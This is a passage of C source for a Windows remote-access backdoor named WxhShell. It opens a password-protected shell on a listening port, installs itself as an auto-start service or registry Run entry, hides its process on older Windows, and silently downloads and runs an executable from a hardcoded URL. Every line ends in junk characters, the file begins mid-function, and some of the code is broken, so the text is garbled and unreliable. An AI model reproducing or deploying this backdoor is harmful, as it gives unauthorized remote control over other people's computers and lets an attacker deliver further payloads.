    if(Boot(SHUTDOWN)) UM QsYD)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 56Gc[<nR  
    else { ("$ ,FRTQ:  
    closesocket(wsh); mFu0$N6]H  
    ExitThread(0); iQnIk| 8  
    } M4m90C;dq  
    break; 1=.+!Tg  
    } b3RCsIz  
  // 获取shell nax(V  
  case 's': { &T) h9fyc  
    CmdShell(wsh); 0zvA>4cq)  
    closesocket(wsh); O.g!k"nas&  
    ExitThread(0); F"*.Qq  
    break; eX9Hwq4X44  
  } eaGd:(  
  // 退出 5$C]$o}  
  case 'x': { M7 Z9(3Va  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q-,,Kn  
    CloseIt(wsh); |rg4 j  
    break; }3&~YBx;:  
    } si|DxDx  
  // 离开 %Yi^{ZrM  
  case 'q': { pg;y\}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2|C(|fD4  
    closesocket(wsh); "/MA.zEl0,  
    WSACleanup(); rS3* k3  
    exit(1); S66. .sa  
    break; {~RS$ |  
        } b\^q9fy  
  } s wIJmA  
  } `[*nUdG  
Yo$ xz  
  // 提示信息 fqcFfz6?x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]sf1+3  
} PfKF!/c B  
  } u:FFZ  
~-.^eT kP  
  return; hL8GW> `a  
} D)*OQLHW  
]J%p&y+6  
// shell模块句柄 @&G< Np`  
int CmdShell(SOCKET sock) 6YCFSvA#/  
{ k-uwK-B}v+  
STARTUPINFO si; rIg5Wcd  
ZeroMemory(&si,sizeof(si)); @h&crI[c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?U PZ49y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KNw{\Pz~w  
PROCESS_INFORMATION ProcessInfo; @Ht7^rz+S  
char cmdline[]="cmd"; Ct)l0J\XH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E 3a^)S{  
  return 0; n)'5h &#  
} 5lc%GJybV  
l5R0^!t  
// 自身启动模式 N3`EJY_|V  
int StartFromService(void) ;HPQhN_  
{ :jc ?T  
typedef struct +9[/> JM  
{ f;w7YO+$p9  
  DWORD ExitStatus; lwU$*?yv  
  DWORD PebBaseAddress; xc HG5bg |  
  DWORD AffinityMask; ojA i2uz  
  DWORD BasePriority; 10 D6fkjf  
  ULONG UniqueProcessId; GvCB3z  
  ULONG InheritedFromUniqueProcessId; 8 FqhSzw  
}   PROCESS_BASIC_INFORMATION; RTgR>qI&)  
| <q9Ee  
PROCNTQSIP NtQueryInformationProcess; gPu0j4&-  
JXBTd=r_oM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v_$'!i$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gc'CS_L  
lW!}OzE(m  
  HANDLE             hProcess; _FJ,, /~  
  PROCESS_BASIC_INFORMATION pbi; Zss `##  
!7KSNwGu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GkT:7`|C  
  if(NULL == hInst ) return 0; .1&~@e%=-  
}zkMo ?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *yx&4)Or  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HZH zjrx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n4YedjHSN  
 GT)63|  
  if (!NtQueryInformationProcess) return 0; wLDWD,"K  
Z?#_3h$"T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1gTW*vLM\  
  if(!hProcess) return 0; -or^mNB_z  
aNLkkkJg<;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >pVrY; P[  
aq|R?  
  CloseHandle(hProcess); 38[ko 3  
EAgNu?L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SREe, e\  
if(hProcess==NULL) return 0; nlfu y[oX  
U60jkzIRH  
HMODULE hMod; $\DOy&e  
char procName[255]; dHtbl\6  
unsigned long cbNeeded; kYVn4Wq  
soH M5<U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0(Hhb#WDh\  
eoC@b/F4  
  CloseHandle(hProcess); #ZPU.NNT?  
\;h+:[<e1  
if(strstr(procName,"services")) return 1; // 以服务启动 Jx:t(oUR+  
;-OnCLr  
  return 0; // 注册表启动 hSO(s  
} 0 tZ>yR  
\GR M,c  
// 主模块 t#Q" ;e  
int StartWxhshell(LPSTR lpCmdLine) .!kO2/:6  
{ } +@H&}u  
  SOCKET wsl; [`_ZlC  
BOOL val=TRUE; JMUk=p<\  
  int port=0; D?v)Xqw=  
  struct sockaddr_in door; Q bg,q  
$8{|25 *E  
  if(wscfg.ws_autoins) Install(); QEavbh^S  
7.r}98V  
port=atoi(lpCmdLine); cPemrNxydN  
;}tEU'&  
if(port<=0) port=wscfg.ws_port; v[aFSXGj)  
Zewx*Y|  
  WSADATA data; wQ7G_kVp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J< E"ZoY  
oPX `/ X#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AF=9KWqf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3N'fHy  
  door.sin_family = AF_INET; 2f%G`4/p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6%p$C oR  
  door.sin_port = htons(port); )]=1W  
FAS+*G Fz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =9lrPQ]w  
closesocket(wsl); 1;\A./FVv  
return 1; a^ vXwY  
} # !m`A+!~!  
=*icCng  
  if(listen(wsl,2) == INVALID_SOCKET) { PjH[8:,  
closesocket(wsl); PFqc_!Pm  
return 1; "w)Y0Qq*z  
} 3H_mR j9th  
  Wxhshell(wsl); y;!qE~!3  
  WSACleanup(); `Jvy~T  
bN ,>,hj  
return 0; aAlES< r  
LIo3a38n?y  
} C)7T'[  
+B 4&$z  
// 以NT服务方式启动 $#cZJ@;]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YpAJ7 E|7  
{ "k8Yc<`u  
DWORD   status = 0; b.`<T "y  
  DWORD   specificError = 0xfffffff; X `[P11`  
JQ>GKu~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NV|[.g=lg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GAZTCkB"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [3yzVcr~4  
  serviceStatus.dwWin32ExitCode     = 0; 4k HFfc  
  serviceStatus.dwServiceSpecificExitCode = 0; RGeM.  
  serviceStatus.dwCheckPoint       = 0; :QndeUw  
  serviceStatus.dwWaitHint       = 0; -:hiLZJ7-  
<K~> :4c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9>t  
  if (hServiceStatusHandle==0) return; 9@Iz:!oqb  
')d&:K*M  
status = GetLastError(); NF}QQwG3  
  if (status!=NO_ERROR) $[L8UUHY<8  
{ P9Gjsu #  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &B^zu+J  
    serviceStatus.dwCheckPoint       = 0; yqy5i{Y  
    serviceStatus.dwWaitHint       = 0; )yV|vn  
    serviceStatus.dwWin32ExitCode     = status; N2?o6)  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vvth,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Htnhom0n  
    return; |Ef\B] Ns  
  } pJ` M5pF  
A9*( O)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h,Y!d]2w  
  serviceStatus.dwCheckPoint       = 0; Quc,,#u  
  serviceStatus.dwWaitHint       = 0; yGNZw7^(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7,i}M  
} *wgHa6?+7  
Q}KNtNCpx  
// 处理NT服务事件,比如:启动、停止 5E~?hWAv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iqzl(9o.D  
{ sr0.4VU1  
switch(fdwControl) F{#m~4O  
{ *K9I+t"g  
case SERVICE_CONTROL_STOP: U4DQ+g(A  
  serviceStatus.dwWin32ExitCode = 0; 0WasE1t|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z7[TgL7  
  serviceStatus.dwCheckPoint   = 0; ]Qo.X~]  
  serviceStatus.dwWaitHint     = 0; nkKiYr  
  { 1'skCR|!<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^i"C%8  
  } 9,?\hBEu  
  return; Lx{bR=  
case SERVICE_CONTROL_PAUSE: yIm@m[B;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O/X;(qYd  
  break; ? m$uqi  
case SERVICE_CONTROL_CONTINUE: AN!MFsk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [DW}z  
  break; 3)F9:Tzw1  
case SERVICE_CONTROL_INTERROGATE: }Pm>mQZ},  
  break; -S7PnR6  
}; y8Q96zi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QHt;c  
} 49)A.Bh&!  
@%4MFc0`!  
// 标准应用程序主函数 ;2o+|U@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =j)y.x(  
{ T6X%.tR>`  
45Z"U<I,9  
// 获取操作系统版本 8+m[ %5lu  
OsIsNt=GetOsVer(); sU {'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %5N;SRtv  
@WppiZ$  
  // 从命令行安装 +%Vbz7+!  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;z6Gk&?  
JvA6kw,  
  // 下载执行文件 omxBd#;F$  
if(wscfg.ws_downexe) { PGT*4r21  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @W\y#5"B  
  WinExec(wscfg.ws_filenam,SW_HIDE); #n=b*.  
} br!:g]Vh  
OL,3Jh% x  
if(!OsIsNt) { DzZ)a E  
// 如果时win9x,隐藏进程并且设置为注册表启动 tEz6B}  
HideProc(); U Ox$Xwp5&  
StartWxhshell(lpCmdLine); oDyrf"dl  
} -Cb<T"7  
else aR }|^ex  
  if(StartFromService()) 9Fe(],AzF  
  // 以服务方式启动 ? x1"uH  
  StartServiceCtrlDispatcher(DispatchTable); traJub  
else oo{5 :  
  // 普通方式启动 \z}/=Qgc  
  StartWxhshell(lpCmdLine); ]!>ThBMa  
~|j:xM(i  
return 0; 9N H"Ik*  
} 6E9y[ %+  
)P6n,\  
NLe+  
'xNPy =#  
=========================================== b\/:-][  
tK<GU.+  
< bHu9D  
UWdPB2x[  
@PXb^x#k  
G)(\!0pNZ  
" 4<S*gu*W  
8:Yha4<Bv7  
#include <stdio.h> $9 GRAM.  
#include <string.h> ^!]Hm&.a  
#include <windows.h> +ahr-v^R<  
#include <winsock2.h> MC.,n$O}6  
#include <winsvc.h> H].G%,2'  
#include <urlmon.h> UcCkn7}  
s*R \!L  
#pragma comment (lib, "Ws2_32.lib") JPS7L}Kv  
#pragma comment (lib, "urlmon.lib") MCamc  
.xtjB8gc  
#define MAX_USER   100 // 最大客户端连接数 B/IPG~aMEZ  
#define BUF_SOCK   200 // sock buffer !P7##ho0  
#define KEY_BUFF   255 // 输入 buffer -.A8kJ  
p100dJvq  
#define REBOOT     0   // 重启 20hF2V  
#define SHUTDOWN   1   // 关机 K)2ZH@  
:@PM+[B|Q  
#define DEF_PORT   5000 // 监听端口 ICNS+KsI  
@=[/bG  
#define REG_LEN     16   // 注册表键长度 '1)BZ!  
#define SVC_LEN     80   // NT服务名长度 @`:n+r5u  
C;DNL^  
// 从dll定义API Ep% 5wR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0dKI+zgr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kl.)A-6V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _=c>>X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $9znRTFEj  
)!1; =   
// wxhshell配置信息 J@ x%TA  
struct WSCFG { _C9*M6IU  
  int ws_port;         // 监听端口 KlgPDV9mg  
  char ws_passstr[REG_LEN]; // 口令 *|n::9  
  int ws_autoins;       // 安装标记, 1=yes 0=no { 7y.0_Y  
  char ws_regname[REG_LEN]; // 注册表键名 P5;LM9W  
  char ws_svcname[REG_LEN]; // 服务名 W11Wv&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sIuk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TlEx w0i!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^'S0A=1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W4yNET%l,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |]a =He;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @Taj++ua  
& z;;Bx0s  
}; [@ ]f@Wd  
_A*5BAB:h(  
// default Wxhshell configuration jB]tq2i  
struct WSCFG wscfg={DEF_PORT, yD iL  
    "xuhuanlingzhe", q<>  
    1, @%L4^ms  
    "Wxhshell", daT[2M  
    "Wxhshell", kBY54pl  
            "WxhShell Service", zdCeOZ 6  
    "Wrsky Windows CmdShell Service", _8C0z=hz  
    "Please Input Your Password: ", 1xM'5C?~7  
  1, ?2VY ^7N[  
  "http://www.wrsky.com/wxhshell.exe", sDnHd9v<?t  
  "Wxhshell.exe" &sL(|>N  
    }; @;}bBHQz{p  
^(I4Do~}  
// 消息定义模块 mrDIt4$D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P&3'N~k-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 96aA2s1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3 $;6pY  
char *msg_ws_ext="\n\rExit."; YV*s1 t/  
char *msg_ws_end="\n\rQuit."; -f0Nb+AR  
char *msg_ws_boot="\n\rReboot..."; jR@j+p^e  
char *msg_ws_poff="\n\rShutdown..."; X>mY`$!/  
char *msg_ws_down="\n\rSave to "; P  F!S  
4l2i'H  
char *msg_ws_err="\n\rErr!"; 6#XB'PR2p  
char *msg_ws_ok="\n\rOK!"; ODK$G [-  
Y:C7S~  
char ExeFile[MAX_PATH]; PF@+~FI  
int nUser = 0; vS-k0g;   
HANDLE handles[MAX_USER]; ._m+@Uy]H}  
int OsIsNt; O=}4?Xv  
'~i} 2e.  
SERVICE_STATUS       serviceStatus; wZVY h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P0J3ci}^  
HlqvXt\  
// 函数声明 Ktg{-Xl  
int Install(void); 9I8{2]  
int Uninstall(void); $:"r$7  
int DownloadFile(char *sURL, SOCKET wsh); SU;PmG4  
int Boot(int flag); <v;;:RB6c  
void HideProc(void); I*R[8|  
int GetOsVer(void); _aVrQ@9  
int Wxhshell(SOCKET wsl); OaU-4 ~n;  
void TalkWithClient(void *cs); m xtLcG4G  
int CmdShell(SOCKET sock); Z%~j)  
int StartFromService(void); LRBcW;.Su  
int StartWxhshell(LPSTR lpCmdLine); 7QP%Pny%  
x[7jm"Pz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8DbXv~3@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); edhNQWn  
`e]L.P_e?  
// 数据结构和表定义 v4!zB9d  
SERVICE_TABLE_ENTRY DispatchTable[] = g\&[;v i  
{ m "\jEfjO  
{wscfg.ws_svcname, NTServiceMain}, }l&Uh &B`  
{NULL, NULL} Vh^fbv`?  
}; J& }/Xw)  
Pl<r*d)h  
// 自我安装  6\ /x  
int Install(void) @cdd~9w  
{ %3scz)4$  
  char svExeFile[MAX_PATH]; R0y={\*B5k  
  HKEY key; KE:PRX  
  strcpy(svExeFile,ExeFile); T1hr5V<U  
~U`oew  
// 如果是win9x系统,修改注册表设为自启动 B" TZ8(<  
if(!OsIsNt) { Z8nj9X$   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2#l<L>#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ep .AW'+  
  RegCloseKey(key); <b>@'\w9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *@=in7*c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tWQ_.,ld  
  RegCloseKey(key); ;>_\oZGj_  
  return 0;  5<bc>A-  
    } AEx I!  
  } S?nk9 T+  
} %o9@[o .]  
else { `E>HpRcxD  
L<!}!v5ja  
// 如果是NT以上系统,安装为系统服务 :#58m0YLA:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V{;!vt~  
if (schSCManager!=0) Xu`c_  
{ Mit,X  
  SC_HANDLE schService = CreateService V %'`nJ!  
  ( XVAy uuTg\  
  schSCManager, 4>nY't;0  
  wscfg.ws_svcname, E%OY7zf`%  
  wscfg.ws_svcdisp, "Wr5:T-;  
  SERVICE_ALL_ACCESS, c4ptY5R),  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $A"kHS7T  
  SERVICE_AUTO_START, 9{|JmgO!  
  SERVICE_ERROR_NORMAL, G\G TS}u[  
  svExeFile, >k,|N4(  
  NULL, J]/TxUE  
  NULL, %`%oupqm+  
  NULL, !"/]<OQ   
  NULL, 3^ ~M7=k  
  NULL Mg;%];2Nt  
  ); 5G=<2;  
  if (schService!=0) mZ 39 s  
  { dt(~)*~R  
  CloseServiceHandle(schService); ;]zV ?9  
  CloseServiceHandle(schSCManager); K,e"@G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0UZ>y/ C)=  
  strcat(svExeFile,wscfg.ws_svcname); fyPpzA0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^I03PIy0l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9Z]~c^UB  
  RegCloseKey(key); o&P}GcEIw  
  return 0; $&/JY  
    } n/#zx:d?  
  } 3ny>5A!;2  
  CloseServiceHandle(schSCManager); }S51yDVG_  
} tFt56/4  
} zY~  
5vs~8|aRo  
return 1; nf& P Dv1  
} ;q]Jm  
dfY(5Wc+f  
// 自我卸载 GL$!JKWp  
int Uninstall(void) c7 Sa|9*dR  
{ j78WPG  
  HKEY key; &v|Uy}h&%1  
=!T@'P?  
if(!OsIsNt) { !E!i`yF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DhY.5  
  RegDeleteValue(key,wscfg.ws_regname); b"n8~Vd  
  RegCloseKey(key); I Y%M5(&Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n2&*5m&$  
  RegDeleteValue(key,wscfg.ws_regname); v+uq  
  RegCloseKey(key); HE58A.Q&  
  return 0; D ]Q,~Y&'  
  } xY9 #ouF  
} Fb=(FQ2Y?  
} k#Qav1_  
else { bA}9He1  
4-;"w;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {Q],rv|;  
if (schSCManager!=0) FY_.Vp  
{ d%_=r." Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }a?PB o`  
  if (schService!=0) C'&)""3d  
  { !z">aIj\6  
  if(DeleteService(schService)!=0) { G2 A#&86J{  
  CloseServiceHandle(schService); _DsA<SJ]  
  CloseServiceHandle(schSCManager); YoyJnl.?u  
  return 0; m;-FP 2~  
  } h}-}!v  
  CloseServiceHandle(schService); `G*7y7  
  } zQ3m@x  
  CloseServiceHandle(schSCManager); +GCN63 nX  
} {hQ0=rv<  
} S :)Aj6>6  
]D?//  
return 1; ta"uxL\gge  
} G165grGFd  
~hK7(K  
// 从指定url下载文件 F. 5'5%  
int DownloadFile(char *sURL, SOCKET wsh) Z(DCR/U=(>  
{ d: D`rpcC  
  HRESULT hr; o V"d%ks  
char seps[]= "/"; xxjg)rVuy  
char *token; xCN6?  
char *file; Xi$( U8J_  
char myURL[MAX_PATH]; _M'WTe  
char myFILE[MAX_PATH]; I\ e?v`e  
n@5Sp2p  
strcpy(myURL,sURL); 8K+(CS>xvO  
  token=strtok(myURL,seps); |dIP &9  
  while(token!=NULL) Qn= 3b:S-  
  { e_'/4 n  
    file=token; ]0v;;PfVl6  
  token=strtok(NULL,seps); ^b|Z<oF  
  } 3m3ljy  
mGx!{v~i&  
GetCurrentDirectory(MAX_PATH,myFILE); \7b-w81M-  
strcat(myFILE, "\\"); DUH\/<^g  
strcat(myFILE, file); ZK:dhwer  
  send(wsh,myFILE,strlen(myFILE),0); W0e+yIaR  
send(wsh,"...",3,0); $VEG1]/svp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _|<kKfd?  
  if(hr==S_OK) :5)Dn87  
return 0; 1ocd$)B|}  
else TdGda'C  
return 1; >tF3|:\  
'Cv,:Q  
} ]0N'Wtbn  
\8j5b+  
// 系统电源模块 q5 eyle6  
int Boot(int flag) #I> c$dd  
{ YywiY).]@  
  HANDLE hToken; WMy97*L<  
  TOKEN_PRIVILEGES tkp; + *u'vt?  
590.mCm  
  if(OsIsNt) { 3On IAk3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <Jt H/oN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;+v5li  
    tkp.PrivilegeCount = 1; w2*.3I,~)B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [zXKS |  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VnlgX\$}  
if(flag==REBOOT) {  )ph**g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L1J \ C  
  return 0; /V'^$enK!}  
} U@t" o3E  
else { $DPMi9,7^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /|7@rH([{  
  return 0; tW<i;2 l  
} 'ec G:B`S  
  } (!b_o A8V  
  else { UI:YzR  
if(flag==REBOOT) { SZUhZIz&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \YUl$d0  
  return 0; )m8ve)l  
} [3$L}m  
else { HCBZ*Z-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FHztF$Z  
  return 0; "i jpqI  
} EY~b,MIL4  
} 4%!#=JCl  
(<M^C>pldf  
return 1; ?yAp&Ad  
} +65OR'd  
)1CYs4lp  
// win9x进程隐藏模块 )"( ojh  
void HideProc(void) 6yDj1PI  
{ ,m4M39MWJ  
JA]TO (x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0!4;."S  
  if ( hKernel != NULL ) G.j  R  
  { S8=Am7D]1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $ghAC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V[9#+l~#  
    FreeLibrary(hKernel); !-G'8a|7  
  } ( mV*7Z  
4Vv~  
return; u_kcuN\Sq  
} ceiUpWMu,  
kXj rc  
// 获取操作系统版本 ,E7+Z' ;  
int GetOsVer(void) (tZ#E L0  
{ l'yX_`*Iq  
  OSVERSIONINFO winfo; :+ASZE.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U2Uf69R  
  GetVersionEx(&winfo); 7CKpt.Sz6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cZ8lRVaWW  
  return 1; |\HYq`!g%7  
  else ~Te9Lq|  
  return 0; WUC-* (  
} 'eM90I%(  
t1LIZ5JY  
// 客户端句柄模块 =1!,A  
int Wxhshell(SOCKET wsl) \VL_  
{ `/|S.a#g  
  SOCKET wsh; eA4dDKX+  
  struct sockaddr_in client; J A=9EnTU  
  DWORD myID; C-wwQbdG/  
l7{]jKJue  
  while(nUser<MAX_USER) f82$_1s^  
{ *HT )Au"5  
  int nSize=sizeof(client); ?nVwT[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vki'pAN  
  if(wsh==INVALID_SOCKET) return 1; 5,Q3#f~!  
<V> [H7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rwZI;t$hf  
if(handles[nUser]==0) tQ:g#EqL9B  
  closesocket(wsh); tVAWc$3T  
else ;f]p`!] 3  
  nUser++; ^A&i$RRO  
  } jwP}{mi*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;q=0NtCS=4  
^[UWG^d  
  return 0; fPW|)e"  
} [>P9_zID  
$A4rdhvd  
// 关闭 socket %1Ex{H hb  
void CloseIt(SOCKET wsh) L&gC  
{ NZu\ Ae  
closesocket(wsh); 0r4,27w  
nUser--; &1=Je$,  
ExitThread(0); rL kUIG  
} Z$UPLg3=;_  
bCV3h3<  
// 客户端请求句柄 TO(2n8'fdO  
void TalkWithClient(void *cs) MC 8t"SB  
{ ( M > C  
S1Z~-i*w  
  SOCKET wsh=(SOCKET)cs; %i!=.7o.  
  char pwd[SVC_LEN]; .Lwp`{F/  
  char cmd[KEY_BUFF]; .J/x@  
char chr[1]; |JUb 1|gi  
int i,j; :Dh\  
"w PA;4VQ  
  while (nUser < MAX_USER) { miWPLnw=L  
:,<G6"i  
if(wscfg.ws_passstr) { ^#6"d+lp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &Zxo\[lP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |b BA0.yS  
  //ZeroMemory(pwd,KEY_BUFF); 4qd =]i  
      i=0; )td?t.4  
  while(i<SVC_LEN) {  |UudP?E  
$0kuR!U.N  
  // 设置超时 qdM=}lbc  
  fd_set FdRead; 5s5GBJ?  
  struct timeval TimeOut; 5l(8{,NDt  
  FD_ZERO(&FdRead); X0QY:?  
  FD_SET(wsh,&FdRead); "8.to=Lx  
  TimeOut.tv_sec=8; _f"HUKGN  
  TimeOut.tv_usec=0; /~8<;N>,+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %^`b)   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^~p^N <  
n+sV $*wvS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wqB 5KxO  
  pwd=chr[0]; 3Y;<Q>roT  
  if(chr[0]==0xd || chr[0]==0xa) { =XRTeIZ  
  pwd=0; &Zzd6[G+  
  break; +vDEDOS1  
  } N7wKaezE  
  i++; dy }O6  
    } vU4Gw4  
0mb|JoE(  
  // 如果是非法用户,关闭 socket zL^`r)H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fGwRv% $^  
} ~BUzyc%  
he vM'"|4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hJ)\Vo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7EfLd+  
JU6PBY~C'  
while(1) { {vp|f~}zTw  
_,"?R]MO  
  ZeroMemory(cmd,KEY_BUFF); )335X wA+  
}L!%^siG_  
      // 自动支持客户端 telnet标准   vp[;rDsIJ$  
  j=0; (O[:-Aqm  
  while(j<KEY_BUFF) { `rwzCwA1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %(P\"hE'  
  cmd[j]=chr[0]; -(Zi  
  if(chr[0]==0xa || chr[0]==0xd) { #4yh-D"  
  cmd[j]=0; '\,|B x8Q  
  break; ?k 4|;DD  
  } (t.OqgY  
  j++; 4lb(qKea  
    } %8L>|QOX  
?Nbc#0pb7  
  // 下载文件 >qqI6@h]c  
  if(strstr(cmd,"http://")) { V[Z^Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !vrdu OB  
  if(DownloadFile(cmd,wsh)) _EusY3q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |}FK;@'I6  
  else rnkq.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .uoQ@3  
  } 1xBg^  
  else { Z$X[x7e.  
x;w^&<hQ\  
